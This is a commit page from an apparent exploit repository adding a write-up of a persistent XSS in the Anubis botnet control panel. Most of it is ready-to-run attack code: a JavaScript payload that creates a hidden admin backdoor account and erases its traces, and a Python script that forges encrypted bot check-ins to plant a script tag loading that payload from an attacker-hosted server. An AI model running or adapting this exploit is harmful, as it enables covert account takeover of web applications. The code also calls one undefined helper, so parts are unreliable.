Projects STRLCPY 3sjay-sploits Commits 6a6344bf
🤬
  • ■ ■ ■ ■ ■ ■
    anubis_botnet_takeover.md
     1 +### Anubis - Botnet Takeover
     2 + 
     3 +The Anubis Botnet suffers from a persistent XSS vuln within the botnet panel. By abusing the XSS we are able to create an admin account and through a second persistent XSS we can even hide this account from the user panel to not directly disclose our new backdoor user. The versions I looked at were 2.5 and 7.0 (guess the last one is just a re-brand from someone else...). Both versions suffer from the same issue. As I'm writing this it is still a 0day.
     4 + 
     5 + 
     6 +Pretty much every traffic between the bot and the control panel is encrypted with a key (same for all bots belonging to the same botnet). This is per default `zanubis` and I bet a lot of skidz don't change it.
     7 + 
     8 +The problem comes from the fact that while they do make a call to `htmlspecialchars` on user input. They do it _before_ decrypting the content and don't do it afterwards. This is not how it works guys, but hey, who am I to judge ;P
     9 + 
     10 +So let's have a look at the code...
     11 + 
     12 +a3.php
     13 +```php
     14 +$request = htmlspecialchars($_REQUEST["p"], ENT_QUOTES); // [1]
     15 +...
     16 +$request = decrypt($request,cryptKey); // [2]
     17 +...
     18 +$massivReq = explode(":", $request);
     19 +$IMEI = isset($massivReq[0]) ? $massivReq[0] : ""; // [3]
     20 +$phoneNumber =isset($massivReq[1]) ? $massivReq[1] : "";
     21 +...
     22 +$statement = $connection->prepare("insert into kliets (IMEI,number,version,country,bank,model,lastConnect,firstConnect,version_apk,l_bank,inj)
     23 + value ('$IMEI','$phoneNumber','$Version','$country','$bank','$model','$data','$data','$Version_apk','$iconCard','$iconInj')");
     24 + $statement->execute(array($IMEI,$phoneNumber,$Version,$country,$bank,$model,$data,$data,$Version_apk,$iconCard,$iconInj)); // [4]
     25 + 
     26 +```
     27 + 
     28 +They get user input from the "bot" at [1]. Then they decrypt it ([2]) and split the string ([3]) to set various variables.
     29 + 
     30 +Then later on if the IMEI is not already registered to the panel, they add the bot into their botnet at [4]. Up until now no issue, but do they do a `htmlspecialchars` when `echo`ing out the various values?
     31 + 
     32 +For this we need to have a look at `botstable.php` which get's included when the operator is looking at all their bots.
     33 + 
     34 +botstable.php
     35 +```php
     36 +...
     37 + foreach($statement as $row)
     38 + {
     39 + $ID = $row['id'];
     40 + $IMEI = $row['IMEI']; // [5]
     41 + $ip = $row['ip'];
     42 + $number = $row['number'];
     43 + ...
     44 + echo "<td>
     45 + ...
     46 + name='kom_save' value='$IMEI' title='Save' ><img src='images/icons/save.png' title='Save' alt='img' width='18px' style='padding-left: 0px' class='img_log'
     47 + ...
     48 + "; // [6]
     49 +```
     50 + 
     51 +They execute the SQL statement to get all the bots (or only a subset of them) and for each row they set their corresponding variables ([5]) and use the exact (non sanitized, non encoded) values returned by the SQL statement ([6]).
     52 + 
     53 +This allows for a persistent XSS attack when we do know the encryption key. One method as mentioned would be to just try the default value `zanubis`, another method would be to crack the value as one endpoint (`/o1o/a11.php`) returns a known plaintext encrypted so we would be able to crack the key offline.
     54 + 
     55 +Ok, so assume we got the key and are able to exploit the first XSS. With the IMEI we are restricted to 300 chars in our payload (based on the database configuration). We just need to create a JS payload which we'll host on some server and use the XSS to include that script into the page. The JS payload then adds another user and deletes our bot info to clear the traces and not invoke/exploit the XSS anymore.
     56 + 
     57 + 
     58 +```js
     59 +function addUser(user, pw) {
     60 + const Http = new XMLHttpRequest();
     61 + const uri = 'application/set/addUsers.php';
     62 + Http.open("POST", uri);
     63 + Http.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
     64 + // inj js into the tag as it is persistent xss, to hide the new user
     65 + var tag = '"><script>table = document.getElementById("bootstrap-table"); rowCount = table.rows.length; table.deleteRow(rowCount -1);</script>'; // [7]
     66 + Http.send("login="+user+"&password="+pw+"&RIGHT=admin&tag="+tag+"&ADDUSER=ADD+USER");
     67 + 
     68 + Http.onreadystatechange=function(){
     69 + if (this.readyState == 4 && (this.status == 200 || this.status == 302)) {
     70 + 
     71 + enableName = getEnableName()
     72 + if (enableName != "ERROR") {
     73 + enableUser(enableName)
     74 + }
     75 + }
     76 + }
     77 + 
     78 +}
     79 + 
     80 +```
     81 +All this function does is create a new user through the corresponding HTTP request. The neat part is at [7], there we add some additional "info" to our user, which of course get's `echo`d to the page without being sanitized/encoded which brings us to the second XSS. The payload then removes the last element from the user table, hence not showing our new backdoor user we just created. This was the most fun part of the whole process.
     82 + 
     83 + 
     84 +That's it, below you can see the python exploit code and also the JS part. A final note, don't hate on the `#!/usr/bin/env python2`, the sploit is years old ;P
     85 + 
     86 + 
     87 +payload.js
     88 +```js
     89 +function sendEnableUser(enableName) {
     90 + const Http = new XMLHttpRequest();
     91 + const uri = '?cont=settings&page=users';
     92 + Http.open("POST", uri);
     93 + Http.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
     94 + Http.send(enableName+"=ENABLE")
     95 +}
     96 + 
     97 +function enableUser() {
     98 + var enableName;
     99 + 
     100 + const Http = new XMLHttpRequest();
     101 + const uri = '?cont=settings&page=users';
     102 + 
     103 + // find "enable\d\d"
     104 + Http.onreadystatechange=function(){
     105 + if (this.readyState == 4) {
     106 + resp = Http.responseText;
     107 + matches = resp.match(/enable\d\d/g);
     108 + if (matches.length > 0 ) {
     109 + enableName = matches[ matches.length-1]; // return last match
     110 + //alert("Enabling User: "+enableName)
     111 + // send request to enable the user
     112 + sendEnableUser(enableName)
     113 + } else {
     114 + //alert("ERROR")
     115 + }
     116 + }
     117 + }
     118 + Http.open("GET", uri);
     119 + Http.send();
     120 +}
     121 + 
     122 +function addUser(user, pw) {
     123 + const Http = new XMLHttpRequest();
     124 + const uri = 'application/set/addUsers.php';
     125 + Http.open("POST", uri);
     126 + Http.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
     127 + // inj js into the tag as it is persistent xss, to hide the new user
     128 + var tag = '"><script>table = document.getElementById("bootstrap-table"); rowCount = table.rows.length; table.deleteRow(rowCount -1);</script>';
     129 + Http.send("login="+user+"&password="+pw+"&RIGHT=admin&tag="+tag+"&ADDUSER=ADD+USER");
     130 + 
     131 + Http.onreadystatechange=function(){
     132 + if (this.readyState == 4 && (this.status == 200 || this.status == 302)) {
     133 + 
     134 + enableName = getEnableName()
     135 + if (enableName != "ERROR") {
     136 + enableUser(enableName)
     137 + }
     138 + }
     139 + }
     140 + 
     141 +}
     142 + 
     143 +function delClientEntry() {
     144 + // get the id of our payload/pseudo client
     145 + // Find the value, imei provided
     146 + matches = document.documentElement.innerHTML.match(/value=\"\d+:751a7e1e83a492c8/g)[0]
     147 + 
     148 + // Get the value
     149 + id = matches.replace('value="', '')
     150 + 
     151 + const Http = new XMLHttpRequest();
     152 + const uri = '?cont=bots&page=1';
     153 + Http.open("POST", uri);
     154 + Http.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
     155 + Http.send("delete=Delete&checks[]="+id)
     156 + 
     157 +}
     158 + 
     159 + 
     160 +addUser("user1", "password")
     161 +enableUser()
     162 +delClientEntry()
     163 + 
     164 + 
     165 +```
     166 + 
     167 + 
     168 + 
     169 +anubis_pxss_sploit.py
     170 +```python
     171 + 
     172 +#!/usr/bin/env python2
     173 +import base64
     174 +import sys
     175 +import requests
     176 + 
     177 + 
     178 +xss_vuln_endpoint = "/o1o/a3.php"
     179 + 
     180 + 
     181 +# Seen some code which does no exit/die after setting the Location
     182 +# header, therefore a bypass is just to don't follow redirects
     183 +def isBackdoored(target):
     184 + url = target + "/anubis/index.php"
     185 + r = requests.get(url, allow_redirects=False)
     186 + if "<title>------</title>" in r.text:
     187 + return True
     188 + return False
     189 + 
     190 +# url can't include ":"
     191 +def createInject(url):
     192 + return '<script src="//{}"></script>'.format(url)
     193 + 
     194 +def injectXSS(target, myjs, key="zanubis"):
     195 + 
     196 + url = target + xss_vuln_endpoint
     197 + 
     198 + # `IMEI` varchar(300) NOT NULL,
     199 + imei = '751a7e1e83a492c8' + createInject(myjs)
     200 + # `number` varchar(300) DEFAULT NULL,
     201 + phoneNum = "01234567890"
     202 + # `version` varchar(100) NOT NULL,
     203 + version = "1.12"
     204 + # `country` varchar(30) DEFAULT NULL,
     205 + country = "germany"
     206 + # `bank` varchar(500) DEFAULT NULL,
     207 + bank = 'superbank'
     208 + # `model` varchar(50) DEFAULT NULL,
     209 + model = "newModel"
     210 + # `version_apk` varchar(20) DEFAULT NULL,
     211 + versionApk = "1.13"
     212 + # `av` varchar(500) DEFAULT NULL,
     213 + av = "noav"
     214 + # `l_bank` varchar(2) DEFAULT NULL,
     215 + iconCard = "ab"
     216 + # `inj` varchar(2) DEFAULT NULL,
     217 + iconInj = "cd"
     218 +
     219 +
     220 + """
     221 + $request = decrypt($request,cryptKey);
     222 + $request=str_replace(":)",")",$request);
     223 + $massivReq = explode(":", $request);
     224 + $IMEI = isset($massivReq[0]) ? $massivReq[0] : "";
     225 + $phoneNumber =isset($massivReq[1]) ? $massivReq[1] : "";
     226 + $Version = isset($massivReq[2]) ? $massivReq[2] : "";
     227 + [...]
     228 + """
     229 + 
     230 + #payload = encrypt(imei+":"+phoneNum+":"+version+":"+country+":"+bank+":"+model+":"+versionApk+":"+av+":"+iconCard+":"+iconInj, key)
     231 + payload = encrypt(imei+":"+phoneNum+":"+version, key)
     232 + data = { "p" : payload }
     233 + r = requests.post(url, data=data)
     234 + txt = r.text.replace("<tag>", "").replace("</tag>", "")
     235 + print("Payload: {}".format(payload))
     236 + if "|OK|" in decrypt(txt):
     237 + print("[+] Injected XSS... Should trigger soon ;)")
     238 + else:
     239 + print("[-] Failed to inject XSS...")
     240 + 
     241 + 
     242 +def crackKey(txt, hasToInclude):
     243 + # Implement it if you want
     244 + # but I recommend doing that in C/Rust/Go whatever
     245 + # and not doing it with python....
     246 + return False
     247 + 
     248 +# Check if the key is valid
     249 +def checkKey(target):
     250 + url = target + "/o1o/a11.php"
     251 + hasToInclude = "<html><body style='background:#000'><center>"
     252 + 
     253 + r = requests.get(url)
     254 + txt = r.text.replace("<tag>","").replace("</tag>", "")
     255 + if hasToInclude in decrypt(txt):
     256 + return True
     257 + else:
     258 + if crackKey(txt, hasToInclude):
     259 + return True
     260 + return False
     261 + 
     262 + 
     263 +def KSA(key):
     264 + keylength = len(key)
     265 + 
     266 + S = range(256)
     267 + 
     268 + j = 0
     269 + for i in range(256):
     270 + j = (j + S[i] + key[i % keylength]) % 256
     271 + S[i], S[j] = S[j], S[i] # swap
     272 + 
     273 + return S
     274 + 
     275 + 
     276 +def PRGA(S):
     277 + i = 0
     278 + j = 0
     279 + while True:
     280 + i = (i + 1) % 256
     281 + j = (j + S[i]) % 256
     282 + S[i], S[j] = S[j], S[i] # swap
     283 + 
     284 + K = S[(S[i] + S[j]) % 256]
     285 + yield K
     286 + 
     287 + 
     288 +def RC4(key):
     289 + S = KSA(key)
     290 + return PRGA(S)
     291 + 
     292 +def convert_key(s):
     293 + return [ord(c) for c in s]
     294 + 
     295 +def decrypt(msg, key="zanubis"):
     296 + ret = ""
     297 + key = convert_key(key)
     298 + keystream = RC4(key)
     299 + 
     300 + msg = base64.b64decode(msg)
     301 + msg = msg.decode('hex')
     302 + for c in msg:
     303 + mychar = chr(ord(c) ^ keystream.next())
     304 + ret += mychar
     305 + 
     306 + return ret
     307 + 
     308 + 
     309 +def encrypt(msg, key="zanubis"):
     310 + ret = ""
     311 + key = convert_key(key)
     312 + keystream = RC4(key)
     313 + 
     314 + for c in msg:
     315 + mychar = chr(ord(c) ^ keystream.next())
     316 + ret += mychar.encode('hex')
     317 + 
     318 + ret = base64.b64encode(ret)
     319 + return ret
     320 + 
     321 + 
     322 +if __name__ == "__main__":
     323 + 
     324 + if len(sys.argv) != 3:
     325 + print("Usage: python {} <target> <jsurl>".format(sys.argv[0]))
     326 + print("Usage: python {} http://secure.com/ 10.1.1.20/jquery.js".format(sys.argv[0]))
     327 + sys.exit(0)
     328 + 
     329 + target = sys.argv[1]
     330 + jsurl = sys.argv[2]
     331 + 
     332 + if isBackdoored(target):
     333 + print("[+] {} is backdoored...".format(target))
     334 + sys.exit(0)
     335 + 
     336 + if checkKey(target):
     337 + print("[+] Botnet uses default pw: zanubis")
     338 + print("[+] XSS Possible!")
     339 + injectXSS(target, jsurl)
     340 + else:
     341 + print("[-] Botnet uses non-default pw...")
     342 + 
     343 + 
     344 +```
     345 + 
Please wait...
Page is in error, reload to recover